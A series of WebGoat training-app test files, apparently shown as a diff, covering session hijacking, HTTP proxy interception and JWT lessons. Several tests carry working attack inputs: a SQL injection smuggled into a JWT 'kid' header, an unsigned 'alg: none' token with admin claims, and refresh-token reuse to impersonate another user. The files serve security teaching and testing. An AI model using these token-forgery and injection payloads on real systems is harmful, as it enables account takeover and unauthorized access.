* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source
* ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.hijacksession.cas;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.not;
import static org.hamcrest.MatcherAssert.assertThat;
import java.util.stream.Stream;
import org.apache.commons.lang3.StringUtils;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.owasp.webgoat.lessons.hijacksession.cas.Authentication;
import org.owasp.webgoat.lessons.hijacksession.cas.Authentication.AuthenticationBuilder;
import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider;
/***
*
* @author Angel Olle Blazquez
*
*/
class HijackSessionAuthenticationProviderTest {
HijackSessionAuthenticationProvider provider = new HijackSessionAuthenticationProvider();
@ParameterizedTest
@DisplayName("Provider authentication test")
@MethodSource("authenticationForCookieValues")
void testProviderAuthenticationGeneratesCookie(Authentication authentication) {
Authentication auth = provider.authenticate(authentication);
assertThat(auth.getId(), not(StringUtils.isEmpty(auth.getId())));
}
@Test
void testAuthenticated() {
String id = "anyId";
provider.addSession(id);
Authentication auth = provider.authenticate(Authentication.builder().id(id).build());
assertThat(auth.getId(), is(id));
assertThat(auth.isAuthenticated(), is(true));
auth = provider.authenticate(Authentication.builder().id("otherId").build());
assertThat(auth.getId(), is("otherId"));
assertThat(auth.isAuthenticated(), is(false));
}
@Test
void testAuthenticationToString() {
AuthenticationBuilder authBuilder = Authentication.builder()
.name("expectedName")
.credentials("expectedCredentials")
.id("expectedId");
Authentication auth = authBuilder.build();
String expected = "Authentication.AuthenticationBuilder("
+ "name=" + auth.getName()
+ ", credentials=" + auth.getCredentials()
+ ", id=" + auth.getId() + ")";
assertThat(authBuilder.toString(), is(expected));
expected = "Authentication(authenticated=" + auth.isAuthenticated()
+ ", name=" + auth.getName()
+ ", credentials=" + auth.getCredentials()
+ ", id=" + auth.getId() + ")";
assertThat(auth.toString(), is(expected));
}
@Test
void testMaxSessions() {
for (int i = 0; i <= HijackSessionAuthenticationProvider.MAX_SESSIONS + 1; i++) {
provider.authorizedUserAutoLogin();
provider.addSession(null);
}
assertThat(provider.getSessionsSize(), is(HijackSessionAuthenticationProvider.MAX_SESSIONS));
}
private static Stream<Arguments> authenticationForCookieValues() {
return Stream.of(
Arguments.of((Object) null),
Arguments.of(Authentication.builder().name("any").credentials("any").build()),
Arguments.of(Authentication.builder().id("any").build()));
}
}

View File

@ -0,0 +1,98 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.http_proxies;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.lessons.http_proxies.HttpBasicsInterceptRequest;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
@BeforeEach
public void setup() {
HttpBasicsInterceptRequest httpBasicsInterceptRequest = new HttpBasicsInterceptRequest();
init(httpBasicsInterceptRequest);
this.mockMvc = standaloneSetup(httpBasicsInterceptRequest).build();
}
@Test
public void success() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
.header("x-request-intercepted", "true")
.param("changeMe", "Requests are tampered easily"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.success"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void failure() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
.header("x-request-intercepted", "false")
.param("changeMe", "Requests are tampered easily"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void missingParam() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
.header("x-request-intercepted", "false"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void missingHeader() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
.param("changeMe", "Requests are tampered easily"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void whenPostAssignmentShouldNotPass() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/HttpProxies/intercept-request")
.header("x-request-intercepted", "true")
.param("changeMe", "Requests are tampered easily"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,43 @@
package org.owasp.webgoat.lessons.jwt;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class JWTDecodeEndpointTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void solveAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/decode")
.param("jwt-encode-user", "user")
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void wrongUserShouldNotSolveAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/decode")
.param("jwt-encode-user", "wrong")
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,71 @@
package org.owasp.webgoat.lessons.jwt;
import io.jsonwebtoken.Jwts;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.owasp.webgoat.lessons.jwt.JWTFinalEndpoint;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class JWTFinalEndpointTest extends LessonTest {
private static final String TOKEN_JERRY = "eyJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTNTEyIn0.eyJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IkplcnJ5In0.xBc5FFwaOcuxjdr_VJ16n8Jb7vScuaZulNTl66F2MWF1aBe47QsUosvbjWGORNcMPiPNwnMu1Yb0WZVNrp2ZXA";
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void solveAssignment() throws Exception {
String key = "deletingTom";
Map<String, Object> claims = new HashMap<>();
claims.put("username", "Tom");
String token = Jwts.builder()
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key)
.compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
.param("token", token)
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void withJerrysKeyShouldNotSolveAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
.param("token", TOKEN_JERRY)
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account"))));
}
@Test
public void shouldNotBeAbleToBypassWithSimpleToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
.param("token", ".eyJ1c2VybmFtZSI6IlRvbSJ9.")
.content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
}
}

View File

@ -0,0 +1,213 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.jwt;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.HashMap;
import java.util.Map;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.jwt.JWTRefreshEndpoint.PASSWORD;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class JWTRefreshEndpointTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solveAssignment() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
//First login to obtain tokens for Jerry
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
.andExpect(status().isOk())
.andReturn();
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
String accessToken = tokens.get("access_token");
String refreshToken = tokens.get("refresh_token");
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
Map<String, Object> refreshJson = new HashMap<>();
refreshJson.put("refresh_token", refreshToken);
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessTokenTom)
.content(objectMapper.writeValueAsString(refreshJson)))
.andExpect(status().isOk())
.andReturn();
tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
accessTokenTom = tokens.get("access_token");
//Now checkout with the new token from Tom
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
.header("Authorization", "Bearer " + accessTokenTom))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
.header("Authorization", "Bearer " + accessTokenTom))
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.containsString("JWT expired at")));
}
@Test
public void checkoutWitRandomTokenShouldFail() throws Exception {
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
.header("Authorization", "Bearer " + accessTokenTom))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
}
@Test
public void flowForJerryAlwaysWorks() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
.andExpect(status().isOk())
.andReturn();
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
String accessToken = tokens.get("access_token");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
.header("Authorization", "Bearer " + accessToken))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", is("User is not Tom but Jerry, please try again")));
}
@Test
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
.andExpect(status().isUnauthorized());
}
@Test
public void loginShouldNotWorkForTom() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
.andExpect(status().isUnauthorized());
}
@Test
public void newTokenShouldWorkForJerry() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
.andExpect(status().isOk())
.andReturn();
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
String accessToken = tokens.get("access_token");
String refreshToken = tokens.get("refresh_token");
var refreshJson = Map.of("refresh_token", refreshToken);
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessToken)
.content(objectMapper.writeValueAsString(refreshJson)))
.andExpect(status().isOk());
}
@Test
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
.andExpect(status().isOk())
.andReturn();
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
String accessToken = tokens.get("access_token");
var refreshJson = Map.of("refresh_token", "wrong_refresh_token");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessToken)
.content(objectMapper.writeValueAsString(refreshJson)))
.andExpect(status().isUnauthorized());
}
@Test
public void noTokenWhileCheckoutShouldReturn401() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
.andExpect(status().isUnauthorized());
}
@Test
public void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
.andExpect(status().isUnauthorized());
}
@Test
public void noTokenWhileLoginShouldReturn401() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
.andExpect(status().isUnauthorized());
}
}

View File

@ -0,0 +1,139 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.jwt;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.time.Duration;
import java.time.Instant;
import java.util.Date;
import static io.jsonwebtoken.SignatureAlgorithm.HS512;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint.JWT_SECRET;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class JWTSecretKeyEndpointTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test");
}
private Claims createClaims(String username) {
Claims claims = Jwts.claims();
claims.put("admin", "true");
claims.put("user", "Tom");
claims.setExpiration(Date.from(Instant.now().plus(Duration.ofDays(1))));
claims.setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(1))));
claims.setIssuer("iss");
claims.setAudience("aud");
claims.setSubject("sub");
claims.put("username", username);
claims.put("Email", "webgoat@webgoat.io");
claims.put("Role", new String[]{"user"});
return claims;
}
@Test
public void solveAssignment() throws Exception {
Claims claims = createClaims("WebGoat");
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void solveAssignmentWithLowercase() throws Exception {
Claims claims = createClaims("webgoat");
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception {
Claims claims = createClaims("WebGoat");
claims.remove("aud");
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-claims-missing"))));
}
@Test
public void incorrectUser() throws Exception {
Claims claims = createClaims("Tom");
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-incorrect-user", "default", "Tom"))));
}
@Test
public void incorrectToken() throws Exception {
Claims claims = createClaims("Tom");
String token = Jwts.builder().setClaims(claims).signWith(HS512, "wrong_password").compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
}
@Test
void unsignedToken() throws Exception {
Claims claims = createClaims("WebGoat");
String token = Jwts.builder().setClaims(claims).compact();
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
.param("token", token))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
}
}

View File

@ -0,0 +1,207 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.jwt;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import javax.servlet.http.Cookie;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.jwt.JWTVotesEndpoint.JWT_PASSWORD;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class JWTVotesEndpointTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solveAssignment() throws Exception {
//Create new token and set alg to none and do not sign it
Claims claims = Jwts.claims();
claims.put("admin", "true");
claims.put("user", "Tom");
String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact();
//Call the reset endpoint
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
.contentType(MediaType.APPLICATION_JSON)
.cookie(new Cookie("access_token", token)))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void resetWithoutTokenShouldNotWork() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
.contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
}
@Test
public void guestShouldNotGetAToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
.contentType(MediaType.APPLICATION_JSON)
.param("user", "Guest"))
.andExpect(status().isUnauthorized()).andExpect(cookie().value("access_token", ""));
}
@Test
public void tomShouldGetAToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
.contentType(MediaType.APPLICATION_JSON)
.param("user", "Tom"))
.andExpect(status().isOk()).andExpect(cookie().value("access_token", containsString("eyJhbGciOiJIUzUxMiJ9.")));
}
@Test
public void guestShouldNotSeeNumberOfVotes() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
.cookie(new Cookie("access_token", "")))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].numberOfVotes").doesNotExist())
.andExpect(jsonPath("$[0].votingAllowed").doesNotExist())
.andExpect(jsonPath("$[0].average").doesNotExist());
}
@Test
public void tomShouldSeeNumberOfVotes() throws Exception {
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
.contentType(MediaType.APPLICATION_JSON)
.param("user", "Tom"))
.andExpect(status().isOk()).andReturn();
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
.cookie(result.getResponse().getCookies()[0]))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].numberOfVotes").exists())
.andExpect(jsonPath("$[0].votingAllowed").exists())
.andExpect(jsonPath("$[0].average").exists());
}
@Test
public void invalidTokenShouldSeeGuestView() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
.cookie(new Cookie("access_token", "abcd.efgh.ijkl")))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].numberOfVotes").doesNotExist())
.andExpect(jsonPath("$[0].votingAllowed").doesNotExist())
